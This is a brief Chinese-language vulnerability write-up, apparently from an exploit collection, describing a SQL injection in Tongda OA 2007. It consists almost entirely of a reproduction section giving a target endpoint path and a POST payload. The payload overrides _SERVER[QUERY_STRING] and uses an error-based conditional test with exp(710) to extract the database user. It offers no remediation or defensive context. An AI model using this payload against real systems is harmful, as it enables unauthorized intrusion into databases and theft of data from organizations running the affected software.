# 通达oa 2007 sql注入漏洞 ## 一、漏洞简介 ## 二、漏洞影响 通达oa 2007 ## 三、复现过程 ``` http://www.baidu.com/general/document/index.php/setting/keywords/index ``` post提交 ``` _SERVER[QUERY_STRING]=kname=1%2Band@``%2Bor%2Bif(substr(user(),1,4)=root,1,exp(710))# ```